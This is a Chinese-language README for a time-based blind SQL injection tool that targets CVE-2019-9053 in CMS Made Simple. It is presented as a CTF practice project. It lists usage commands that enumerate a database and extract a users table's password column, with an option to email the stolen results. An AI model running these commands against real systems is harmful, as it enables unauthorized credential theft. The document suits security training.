MySQLi.py 是一个个人练习项目,灵感来源于 Exploit-DB exploit 46635,在 TryHackMe 平台的 SimpleCTF 房间中使用。
原漏洞利用程序吸引我的地方在于它能够提取凭证并自动破解密码哈希。以此为契机,我想编写自己的版本——更现代化、界面更好、并提供更多自定义选项。也许已经存在类似的工具,但我希望这个小程序能为道德黑客领域增添一份贡献!
该工具利用 CVE-2019-9053,这是 CMS Made Simple < 2.2.10 中的一个漏洞,暴露了一个未经清理的参数,容易受到基于时间的盲注攻击,且无需身份验证。由于网页响应不会直接显示数据,该技术通过注入 IF(SUBSTRING(...), SLEEP(n), 0) 条件并测量响应时间来逐个猜测数据库、表、列和数据中的字符。
MySQLi 演示
pip install -r requirements.txt
要使用 --email 选项,需在同一目录下创建 .env 文件。
使用 .env.example 中的模板:
[email protected]
GMAIL_PASS=xxxx xxxx xxxx xxxx
密码必须是 Google 应用密码,而非常规的 Gmail 密码。 可以在 myaccount.google.com/apppasswords 生成一个。
git clone https://github.com/rgkue/mysqli.git
cd mysqli
pip install -r requirements.txt
python3 mysqli.py --help
$ python3 mysqli.py --help
███╗ ███╗██╗ ██╗███████╗ ██████╗ ██╗ ██╗
████╗ ████║╚██╗ ██╔╝██╔════╝██╔═══██╗██║
██╔████╔██║ ╚████╔╝ ███████╗██║ ██║██║ ██║
██║╚██╔╝██║ ╚██╔╝ ╚════██║██║▄▄ ██║██║ ██║
██║ ╚═╝ ██║ ██║ ███████║╚██████╔╝███████╗██║
[!] 基于时间的 MySQL 盲注工具
作者:Isaac Muñoz - @rgkue | Github:github.com/rgkue/mysqli
选项:
--url <url> 目标 URL(必需)
--mode <mode> 攻击模式:database / tables / columns / exfil
--sleep <seconds> 基于时间注入的休眠时间(默认:5)
--delay <seconds> 请求之间的延迟
--field <name> 易受攻击的表单字段名(默认:username)
--max <positions> 要提取的最大字符位置(默认:40)
--table <name> 表名(columns/exfil 模式必需)
--column <name> 列名(exfil 模式必需)
--offset <n> 行偏移 - 0=第一行,1=第二行……(默认:0)
--email <address> 将结果发送到邮箱(可选)
--output <file> 将数据保存到文件
--help, -h 显示此帮助信息并退出
示例:
python3 mysqli.py --url http://target/login.php --mode database
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
python3 mysqli.py --url http://target/login.php --mode columns --table users
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
python3 mysqli.py --url http://target/login.php --mode database --email [email protected]
# 1. 获取当前数据库名
python3 mysqli.py --url http://target/login.php --mode database
# 2. 列出表(使用 --offset 遍历)
python3 mysqli.py --url http://target/login.php --mode tables
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
# 3. 列出表的列
python3 mysqli.py --url http://target/login.php --mode columns --table users
# 4. 提取列中的数据
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
# 5. 一条命令运行多个模式
python3 mysqli.py --url http://target/login.php --mode database,tables
# 6. 将结果保存到文件
python3 mysqli.py --url http://target/login.php --mode database --output results.txt
# 7. 通过邮件发送报告
python3 mysqli.py --url http://target/login.php --mode database,tables --email [email protected]
# 8. 自定义注入字段
python3 mysqli.py --url http://target/search.php --mode database --field search
MySQLi.py 仅设计用于教育目的以及您已获得明确许可进行安全测试的环境。
在未取得所有者事先书面授权的情况下使用此工具对系统进行测试是违法的,并且可能触犯许多国家的法律。作者不对因滥用此软件造成的任何损害、数据丢失、法律后果或其他任何损失负责。
请仅在您自己的实验室、CTF 环境、TryHackMe 或 HackTheBox 等练习平台,或者您有权测试的系统上使用。
Happy Hacking! :)